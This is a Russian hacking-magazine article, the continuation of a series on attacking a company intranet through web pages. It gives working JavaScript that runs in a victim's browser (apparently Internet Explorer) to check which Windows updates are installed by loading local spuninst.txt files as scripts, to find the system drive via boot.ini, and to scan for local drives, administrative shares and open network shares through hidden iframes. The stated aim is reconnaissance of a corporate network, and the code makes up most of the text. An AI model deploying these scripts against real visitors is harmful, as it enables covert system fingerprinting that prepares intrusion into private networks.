Содержание статьи
Начало этой статьи ты можешь прочитать
тут: Взлом Web
2.0: проникновение в Intranet, сканирование
системы №1
Windows Updates
Как же использовать эту технику, чтобы определить установленные обновления системы? Да, мы снова будем читать локальные файлы. На этот раз из директории Windows.
Ради интереса можете зайти в директорию
Windows. Думаю, вы замечали там директории $NtUninstallKBXXXXXX$, где ХХХХХХ – идентификатор обновления. Это системные директории и используются для отката обновлений. Каждый раз, обновляя систему, создаются резервные копии заменяемых файлов вместе с информацией об их изначальном местоположении. Эта информация хранится в поддиректории spuninst в файле
spuninst.txt:
[Windows Directory]\$NtUninstallKB[Update ID]$\spuninst\spuninst.txt
Так может выглядеть содержимое spuninst.txt:
COPY "C:\WINDOWS\$NtUninstallKB892313$\wmp.dll" "c:\windows\system32\wmp.dll"
DEL "c:\windows\system32\windowspowershell\v1.0\help.format.ps1xml"
Как видите, используемый формат не подходит для интерпретации JavaScript-модулем. Зато он подходит для интерпретатора “Visual Basic”. В случае, когда файл состоит из одних только DEL-команд, его можно прочитать из скрипта. В случае с
COPY нам не хватает запятой между аргументами. Вот как может выглядеть код для проверки обновлений:
<body> <script language="javascript"> // реагируем на ошибки window.onerror = function( text, file, line ) { if(line != 2) // если ошибка не в первой строке, updateStatus.installed = true; // обновление установлено }; // Прописываем директорию windows var windowsDirectory = "C:/WINDOWS"; // маска пути к информационному файлу var windowsUpdatePath = "file:///WindowsDirectory/$NtUninstallKBUpdateId$/spuninst/spuninst.txt"; // строим путь по маске и номеру function getUpdateProfilePath( updateId ) { return windowsUpdatePath .replace(/WindowsDirectory/ig, windowsDirectory ) .replace( /UpdateId/ig, updateId ); } // пустышки function COPY( source, destination ){}; function DEL( source ){/* здесь можно составлять список */}; var updateStatus = { KB: 0, installed: false }; // Загрузить профайл function loadUpdateProfile( updateId ) { updateStatus = { KB: updateId, installed: false }; // грузим через скрипт var loader = document.createElement('script'); loader.language ='vbscript'; loader.src = getUpdateProfilePath( updateStatus.KB ); document.body.appendChild(loader); } function getUpdateStatus( updateId ) { loadUpdateProfile( updateId ); window.setTimeout( function() // ведем лог: (вот почему лучше replace ) { kb_log.innerText += ( '\n KB-'+updateStatus.KB+' is' +(updateStatus.installed?' ':' not ')+'installed' ); } // нифига не понятно ,1000); } </script> KB<input type=text value="926140" id="kb_id"> <button onclick="getUpdateStatus(kb_id.value)"> get status </button> <br> <textarea id=kb_log></textarea> <div id=kb_loader></div> </body>
Ну вот, такой нехитрый скрипт. Вводите идентификатор обновления и получаете его статус. На этот раз мы используем информацию об ошибке, чтобы определить существование файла. Дело в том, что если файл не существует, текст ошибки будет отличаться от варианта, когда он все-таки есть, но не является синтаксически верным.
Добавьте еще один цикл и вы успешно проверите наличие большего количества обновлений. Если у вас нет желания перебирать полный список, можете выделить набор из самых опасных уязвимостей. После чего произвести проверку на наличие соответствующих им обновлений.
Казалось бы - чего еще надо, но этот скрипт имеет один недостаток, в нем жестко прописана директория Windows. Не исключено, что она будет именно такой, просто обратное тоже неоспоримо.
Директория Windows
Если хакер не знает наверняка о расположении системы, ему может понадобиться непристойное количество времени для его поиска. Дело в том, что кроме имени директории, под сомнением также диск С:\, у многих пользователей ОС установлена на другом диске. Поэтому первое, что мы будем определять – это информацию о существующих дисках. И уже только после этого подбирать директорию.
Вероятнее всего, система будет размещена на активном разделе. Хоть мы и не можем получить технические сведения о существующих разделах, активный раздел обладает одной отличительной чертой. Он является загрузочным. Поэтому наличие на нем файла boot.ini существенно умножает шансы на успех. Опять-таки, определять существование файла можно, исходя из кода ошибки: Предполагается наличие “]”.
Если она возникает, значит, файл найден. Такую закономерность легко объяснить, если посмотреть на сам файл:
- [boot loader]
- timeout=30
- default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
- ...
Явно, что первая строка, синтаксически неверна. Пробела в этом месте быть не может. Таким образом, проверка на существование файла - дело нескольких строк:
<script> window.onerror = function( text ) { if(text.indexOf("]") >=0 ) alert("boot.ini found"); }; </script> <script src="file://c:/boot.ini"></script>
Другие косвенные улики, помогающие найти раздел с операционной системой – проверять существование директорий «Documents and Settings» или «Program Files». Хоть и их можно переопределить, рядовые пользователи крайне редко используют такую возможность. С другой стороны, директория не может быть источником для загрузки скрипта, здесь надо кое-что другое...
На сей раз воспользуемся фреймами и печально известной «Same-Origin Policy». Именно ее существование и поможет нам определить существование директории. Вот простенький пример:
<iframe src="file:///c:/Documents and Settings/" onload="alert(‘c’)"></iframe> <iframe src="file:///d:/Documents and Settings/" onload="alert(‘d’)"></iframe>
Объясню, как он работает. Если мы ссылаемся во фрейме на директорию, существует 2-а варианта развития сюжета, в зависимости от того, существует она в действительности или нет. Если директория существует и загружается во фрейм, автоматически срабатывает «Same-Origin Policy» и блокирует нам доступ к его содержимому. Обработчик события onload, соответственно, тоже блокируется и он никогда не исполниться. В то же время отсутствие директории означает, что вместо ее содержимого будет загружена стандартная страничка ошибки:
А. file:///c:/Documents and Settings/ В. res://shdoclc.dll/dnserror.htm
Во втором варианте мы не нарушаем политику безопасности, поскольку в результате получаем стандартное сообщение об ошибке. Самое интересное, что при этом обработчик
onload остается активным. Исходя из всего этого, уже не является сложным написание соответствующего скрипта:
<style> iframe /* прячем фреймы */ { width : 0px; height : 0px; visibility : hidden; } </style> <script> // изначально считаем, что директория есть на всех дисках: var drive = { c:1, d:1, ..., z:1 }; // просмотр результатов function getResults() { // по всем дискам for(d in drive) if( drive[d] == 1 ) // если статус остался 1 – папка найдена alert('Found directory '+d+':\\Documents and Settings'); } // на все про все 5 сек. window.setTimeout( getResults, 5000 ); </script> // закидываем удочки, если срабатывает onload, это не тот диск <iframe src="file:///c:/Documents and Settings/" onload="drive.c=0"></iframe> <iframe src="file:///d:/Documents and Settings/" onload="drive.d=0"></iframe> ... <iframe src="file:///h:/Documents and Settings/" onload="drive.z=0"></iframe>
Все, что осталось, это подбирать имя самой директории Windows. Оставлю реализацию на самостоятельную работу. Помните, вы можете производить сканирование как с помощью script.src (проверять наличие стандартного системного файла), так и iframe.src (указывающий на предполагаемое название директории Windows). Также стоит заметить, что побуквенный перебор - неоправданное занятие. Лучшее из решений - это проверка из конкретного списка возможных директорий (по словарю).
Отлично, но мы не должны в обязательном порядке проверять все диски. Вполне вероятно, что многие из них даже не существуют. И вообще, бывают еще
Сетевые диски.
Определение разделов
Мы можем собрать информацию о существующих дисках в системе. Для проверки разделов используется уже описанный ранее метод – через фреймы. Но в этот раз мы расширим функциональность скрипта и попытаемся находить сетевые диски, открытый доступ и административные шары.
В процессе сканирования будем использовать три типа обращения к диску (локальные и два вида сетевых):
1. file:///с:/
2. file://///127.0.0.1/с$/
3. file://///127.0.0.1/с/
Итак, у нас есть три теста по каждому диску.
- После первого теста мы определяем все существующие в системе диски.
- Второй тест проверяет его административную шару. Сетевые диски ее не имеют, а локальные да. Стоит сразу сделать оговорку, что сетевые диски можно идентифицировать только тогда, когда клиент является локальным администратором.
- И последняя проверка - на открытый доступ к диску (если имя общего доступа не изменялось пользователем).
Ну что, поехали. Я не стал особо мудрить, вот минимально простой сканнер дисков:
<body> <div id="out_log"></div> <script> // это список дисков, здесь будут все результаты window.Drives = new Array(); // здесь перебираются все варианты: function getLocationTest(letter) { // смотрим, на каком мы этапе var status = window.Drives[letter].processingStatus; // соответственно, выбираем следующий: // - Просто проверка диска if(status==0) locationValue = 'file:///'+letter+':/'; // - проверка административного доступа if(status==2) locationValue = 'file://///127.0.0.1/'+letter+'$/'; // - самая обычная шара if(status==4) locationValue = 'file://///127.0.0.1/'+letter+'/'; // обновляем информацию eval('drive_'+letter+status).location = locationValue; // сбрасываем флаг результата window.Drives[letter].onloadExecuted = false; } // здесь сохраняются результаты function saveLocationTest(letter) { var status = window.Drives[letter].processingStatus; // соответствующие названия тестов if(status==1) locationAlias = 'network'; if(status==3) locationAlias = 'local'; if(status==5) locationAlias = 'shared'; // диск найден, если флаг onload установлен в false window.Drives[letter][locationAlias] = !window.Drives[letter].onloadExecuted; } // здесь мы переходим от этапа к этапу: function nextProcessingStatus( callback,letter, timeout ) { var status = window.Drives[letter].processingStatus; if(status==0) getLocationTest(letter); if(status==2) getLocationTest(letter); if(status==4) getLocationTest(letter); if(status==1) saveLocationTest(letter); if(status==3) saveLocationTest(letter); if(status==5) saveLocationTest(letter); window.Drives[letter].processingStatus++; getDriveStatus( callback, letter, timeout ); } // это функция генерации тестовых фреймов function getDriveStatus( callback, letter, timeout ) { // если мы уже на 6-м этапе – это конец if( window.Drives[letter] != null && window.Drives[letter].processingStatus == 6 ) return callback(letter); // возвращаем результаты // если диск еще не проверялся, создаем ОСНОВНУЮ структуру: if( typeof(window.Drives[letter]) == 'undefined' ) window.Drives[letter] = { processingStatus : 0 , onloadExecuted : false , local : false , network : false , shared : false }; // выбираем контейнер, в котором будут генериться фреймы var domFrameContainer = document.getElementById('frameContainer'); if( !domFrameContainer ) { domFrameContainer = document.createElement('div'); domFrameContainer.id = 'frameContainer'; document.body.appendChild(domFrameContainer); } // это ХТМЛ-код вставляемого фрейма: var htmlFrameCode = '<iframe style="visibility:hidden;position:absolute"id=drive_' +letter +window.Drives[letter].processingStatus +' onload="window.Drives[\''+letter+'\'].onloadExecuted=true;’ +’" src="blank.html"></iframe>'; var status = window.Drives[letter].processingStatus; // если это 0/2/4–й этап, создаем новый фрейм: if(status==0) domFrameContainer.innerHTML += htmlFrameCode; if(status==2) domFrameContainer.innerHTML += htmlFrameCode; if(status==4) domFrameContainer.innerHTML += htmlFrameCode; // ждем результатов window.setTimeout( function(){ nextProcessingStatus( callback,letter, timeout );} , timeout ); }; // это код буквы «С», в этой переменной мы храним букву последнего // сканируемого диска var last_drive_letterCode = 0x63; function demo(letter) { var drive = window.Drives[letter]; // если диск хоть какой-то, выводим информацию про него if(drive.local || drive.network || drive.shared) out_log.innerText+= ( letter + ' - ' + (drive.local?'local':'')+ ' ' + (drive.network?'network':'') + ' ' + (drive.shared?'shared':'') +'\n ' ); // ( иначе его просто нет ) // если буквы закончились, пора остановиться: if(last_drive_letterCode<0x7B) getDriveStatus( demo, (String.fromCharCode(last_drive_letterCode++)),1000 ); }; // СТАРТУЕМ! getDriveStatus( demo, ‘c’,1000 ); </script> </body>
Заключение
Как видите, обычная веб-страница может стать намного опаснее, чем вы ранее предполагали. Чтобы защититься, есть только один выход – запуск Браузера из ограниченной учетной записи (можно с помощью runas). Но об этом, и не только, мы поговорим в следующий раз. Ждите, мы будем искать имя пользователя, проверять его права в системе, попробуем узнать его ICQ, и, в конце концов, вернемся к его сети. Вы ведь не забыли, что наша цель - это внутренняя сеть компании?